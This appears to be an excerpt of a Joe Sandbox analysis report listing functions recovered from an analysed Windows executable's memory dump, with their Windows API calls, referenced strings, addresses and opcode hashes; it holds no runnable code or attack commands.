Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 650e9bcedd8fad358802c32ac33b6eb9a5c1a0132516a14fdc94c2f988a34f8f
Instruction ID: 0122a0d0e9d4b0955dfb242832283081549caf7596c86a61c776f9d4461ecd63
Opcode Fuzzy Hash: 650e9bcedd8fad358802c32ac33b6eb9a5c1a0132516a14fdc94c2f988a34f8f
Instruction Fuzzy Hash: 69218275700315ABDB20CF29EC44A9A77F4BF45724F604A2AF8A1D72E1D7B49980CF68

Function 004205A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 004205C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00420601

Strings

nul, xrefs: 00420639

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: e65d661f25841f6e406fa65fe3e7d47437d345443dddeccfbcf593da12272175
Instruction ID: 46d8dddae2d106502d912a2adc32224b2ba4ddca635a41057fa7cf7118d03945
Opcode Fuzzy Hash: e65d661f25841f6e406fa65fe3e7d47437d345443dddeccfbcf593da12272175
Instruction Fuzzy Hash: DC21A3357003259FDB208F69AC44A9B77E4BF85720F640A5AF8A1E33E1D7B49860CB18

Function 004440AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 003B604C
Part of subcall function 003B600E: GetStockObject.GDI32(00000011), ref: 003B6060
Part of subcall function 003B600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 003B606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00444112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0044411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0044412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00444139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00444145

Strings

Msctls_Progress32, xrefs: 004440E3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: ae3ac5719da8dd18002e8247476271b6856bc71b8d408c96249507bea41ba1f6
Instruction ID: 0b8092d52230c75e47b6388a1417165de0d846fb09731ee54f02b9c0a1d11ce6
Opcode Fuzzy Hash: ae3ac5719da8dd18002e8247476271b6856bc71b8d408c96249507bea41ba1f6
Instruction Fuzzy Hash: 7D1190B2140219BEFF119F64CC86EEB7F5DEF08798F018112BA18A6150C6769C219BA8

Function 003ED7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003ED7A3: _free.LIBCMT ref: 003ED7CC

_free.LIBCMT ref: 003ED82D

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003ED838
_free.LIBCMT ref: 003ED843
_free.LIBCMT ref: 003ED897
_free.LIBCMT ref: 003ED8A2
_free.LIBCMT ref: 003ED8AD
_free.LIBCMT ref: 003ED8B8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 0c8b3e8711a8d181747dd8b42817036b14a00d01193a8e5d68d28c0ed51a7455
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 0A115171540BA8AAD523BFB2CC47FCB7BDC6F01700F400A25B699AE0D3DB7AB5154650

Function 0041DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 0041DA74
LoadStringW.USER32(00000000), ref: 0041DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0041DA91
LoadStringW.USER32(00000000), ref: 0041DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0041DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0041DAB9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: b2705dfc821058e86e6b8b4193499ae2bd9f5876f6c4e59ccaf09f6e86eaf01d
Instruction ID: 1d99d81826bf66dfda973ed91a58434d1d904d0087c1db6a3f88c6aa52496a3f
Opcode Fuzzy Hash: b2705dfc821058e86e6b8b4193499ae2bd9f5876f6c4e59ccaf09f6e86eaf01d
Instruction Fuzzy Hash: 400162F69002087FE750DBA09DC9EE7326CEB09305F4444A6B706E2041EA789E844F78

Function 0042096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(00E7DF58,00E7DF58), ref: 0042097B
EnterCriticalSection.KERNEL32(00E7DF38,00000000), ref: 0042098D
TerminateThread.KERNEL32(?,000001F6), ref: 0042099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 004209A9
CloseHandle.KERNEL32(?), ref: 004209B8
InterlockedExchange.KERNEL32(00E7DF58,000001F6), ref: 004209C8
LeaveCriticalSection.KERNEL32(00E7DF38), ref: 004209CF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 0847c471ae0d76fa9fbaa8bd52e3e6949346535e11c550ef7a04e395b3e205ee
Instruction ID: f51fe7c7defecf2e23fe6c1988488cb998835a052f0d643651b994cf5310da68
Opcode Fuzzy Hash: 0847c471ae0d76fa9fbaa8bd52e3e6949346535e11c550ef7a04e395b3e205ee
Instruction Fuzzy Hash: 10F03171543912BBD7915F94EECCBD67B35FF06702F841026F102908A1C7B59465CF98

Function 00431C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00431DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00431DE1
WSAGetLastError.WSOCK32 ref: 00431DF2
htons.WSOCK32(?,?,?,?,?), ref: 00431EDB
inet_ntoa.WSOCK32(?), ref: 00431E8C

Part of subcall function 004139E8: _strlen.LIBCMT ref: 004139F2

Part of subcall function 00433224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,0042EC0C), ref: 00433240

_strlen.LIBCMT ref: 00431F35

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 36ddf9ea5559a366f5de0f52cdf4f5ae251c53527f23c5ccdf28126fff39553b
Instruction ID: c7e967dcfc0cddaaa130dfacc173945b6c4bf800feafdc93df19ce648afc7859
Opcode Fuzzy Hash: 36ddf9ea5559a366f5de0f52cdf4f5ae251c53527f23c5ccdf28126fff39553b
Instruction Fuzzy Hash: 14B1CE30204340AFC324DF24C885E6ABBA5AF89318F54995DF5569F3E2CB35ED42CB92

Function 003B5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 003B5D30
GetWindowRect.USER32(?,?), ref: 003B5D71
ScreenToClient.USER32(?,?), ref: 003B5D99
GetClientRect.USER32(?,?), ref: 003B5ED7
GetWindowRect.USER32(?,?), ref: 003B5EF8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 6de29e324b3988908fb5a2d2792f2266ddfe666cbe11b4a296294b16af008e6d
Instruction ID: e65f54c46be322f974774e9490c4385c48190e8a2c095624ff67362f1a8d4104
Opcode Fuzzy Hash: 6de29e324b3988908fb5a2d2792f2266ddfe666cbe11b4a296294b16af008e6d
Instruction Fuzzy Hash: A0B17738A00A4ADBDB11CFA8C4807FAB7F5FF48314F14851AE9A9D7A50DB30EA51CB54

Function 003E01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 003E00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E00D6
__allrem.LIBCMT ref: 003E00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E010B
__allrem.LIBCMT ref: 003E0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003E0140

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: d43e01aec580bdefcf3bd480fa0576136fe9d799202052bd6874d2571d8f6d39
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 9A8135766007569FE726AF2ADC81B6BB3A8AF41720F25433AF511DA3C1E7B0D9408780

Function 003E61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,003D82D9,003D82D9,?,?,?,003E644F,00000001,00000001,8BE85006), ref: 003E6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,003E644F,00000001,00000001,8BE85006,?,?,?), ref: 003E62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 003E63D8
__freea.LIBCMT ref: 003E63E5

Part of subcall function 003E3820: RtlAllocateHeap.NTDLL(00000000,?,00481444,?,003CFDF5,?,?,003BA976,00000010,00481440,003B13FC,?,003B13C6,?,003B1129), ref: 003E3852

__freea.LIBCMT ref: 003E63EE
__freea.LIBCMT ref: 003E6413

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 0a6ac154af366e8a51c1c26c3db437131fcc3af85fbd2d6c366b8ea6f23d4579
Instruction ID: 1f683cbff0792da66a772b090590c7b045685109aef0cce66db13ff8be4f4284
Opcode Fuzzy Hash: 0a6ac154af366e8a51c1c26c3db437131fcc3af85fbd2d6c366b8ea6f23d4579
Instruction Fuzzy Hash: C551D3726002A6ABDB278F66CC82EAF77A9EB54790F164729FD05DB1D0DB34DC40C660

Function 0043BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 0043C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0043B6AE,?,?), ref: 0043C9B5
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043C9F1
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA68
Part of subcall function 0043C998: _wcslen.LIBCMT ref: 0043CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0043BD25
RegCloseKey.ADVAPI32(00000000), ref: 0043BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0043BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0043BDF3
RegCloseKey.ADVAPI32(?), ref: 0043BDFF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 0631d983b789eac39270849aa33f649872c9a93a29ed7cc28ccf1b3280a6b705
Instruction ID: db41fb734c65e215cc2e3d01d29441395809fd2957763982cb6726dbf63ccb04
Opcode Fuzzy Hash: 0631d983b789eac39270849aa33f649872c9a93a29ed7cc28ccf1b3280a6b705
Instruction Fuzzy Hash: FD81A030208241AFC715DF24C881F6ABBE5FF88308F14955EF6598B2A2CB35ED05CB92

Function 0040F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0040F7B9
SysAllocString.OLEAUT32(00000001), ref: 0040F860
VariantCopy.OLEAUT32(0040FA64,00000000), ref: 0040F889
VariantClear.OLEAUT32(0040FA64), ref: 0040F8AD
VariantCopy.OLEAUT32(0040FA64,00000000), ref: 0040F8B1
VariantClear.OLEAUT32(?), ref: 0040F8BB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 0be358287d14b1b9fab25057fcea235743aa0f26f967654b69fb42e357115733
Instruction ID: bba5bf2ef0627d2a6bb88bef52e4f1c1c891f90662f82e7fbbf1bc60ccdc7bc8
Opcode Fuzzy Hash: 0be358287d14b1b9fab25057fcea235743aa0f26f967654b69fb42e357115733
Instruction Fuzzy Hash: 77510575600300AACF30AB65D885B69B3A4EF45314B24847BE902EF6D1DB7C8C44CBAB

Function 0042910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 003B7620: _wcslen.LIBCMT ref: 003B7625

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 004294E5
_wcslen.LIBCMT ref: 00429506
_wcslen.LIBCMT ref: 0042952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00429585

Strings

X, xrefs: 00429412

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: e0c9cd4721cf0e0ce6a2140810854f4c303ad5eafe0f88b9b583513bd2dee9b0
Instruction ID: 75f19505e472d40cabd414c340769ba12f2188fb15cdc6c1075aef61bbf1ccd0
Opcode Fuzzy Hash: e0c9cd4721cf0e0ce6a2140810854f4c303ad5eafe0f88b9b583513bd2dee9b0
Instruction Fuzzy Hash: 48E1D1316083109FD725DF24D881BAAB7E0BF85314F04896EF9899B3A2DB34DD45CB96

Function 003C920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

BeginPaint.USER32(?,?,?), ref: 003C9241
GetWindowRect.USER32(?,?), ref: 003C92A5
ScreenToClient.USER32(?,?), ref: 003C92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 003C92D3
EndPaint.USER32(?,?,?,?,?), ref: 003C9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 004071EA

Part of subcall function 003C9339: BeginPath.GDI32(00000000), ref: 003C9357

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: aab5eeadcce07135792794d3e45833d1e63253d6bb49047e535ce7db07a3c501
Instruction ID: 7cd3a7cd62f9888d3002ba88eb4d9c37cde7649eee2351f17456051357031f26
Opcode Fuzzy Hash: aab5eeadcce07135792794d3e45833d1e63253d6bb49047e535ce7db07a3c501
Instruction Fuzzy Hash: 5541AF74105200AFD711DF24CC88FAA7BA8EB4A320F050A6EF994DB2F1C7359C46DB66

Function 004207EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 0042080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00420847
EnterCriticalSection.KERNEL32(?), ref: 00420863
LeaveCriticalSection.KERNEL32(?), ref: 004208DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 004208F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00420921

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 2f6cb0a8f67b4399d7f66050122383e364ce7449df2c576e5b2082b45c77e355
Instruction ID: 5d48aaa98dc576b386f46e989fff82f65629fd9f8455eaad18136539bffb5d7e
Opcode Fuzzy Hash: 2f6cb0a8f67b4399d7f66050122383e364ce7449df2c576e5b2082b45c77e355
Instruction Fuzzy Hash: 5D415871A00205EFDF15AF64EC85A6AB7B9FF04300F1440A9E9049E297DB74DE64DBA8

Function 00414C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00414C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00414CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00414CEA
_wcslen.LIBCMT ref: 00414D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00414D10
_wcsstr.LIBVCRUNTIME ref: 00414D1A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 44aad8a3fa2cbb179dacb8fcbd0dcda573544538ad7137a024a79558427af076
Instruction ID: 258abbb8d62fceb5306e0035c5865d3824b515e462c754bfe1b621653a289881
Opcode Fuzzy Hash: 44aad8a3fa2cbb179dacb8fcbd0dcda573544538ad7137a024a79558427af076
Instruction Fuzzy Hash: 1C2129762052007BEB165B35FC49EBB7B9CDF85750F15803EF805CE292EA65CC4193A4

Function 0042581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 003B3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003B3A97,?,?,003B2E7F,?,?,?,00000000), ref: 003B3AC2

_wcslen.LIBCMT ref: 0042587B
CoInitialize.OLE32(00000000), ref: 00425995
CoCreateInstance.OLE32(0044FCF8,00000000,00000001,0044FB68,?), ref: 004259AE
CoUninitialize.OLE32 ref: 004259CC

Strings

.lnk, xrefs: 00425876, 004258C1, 00425985

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

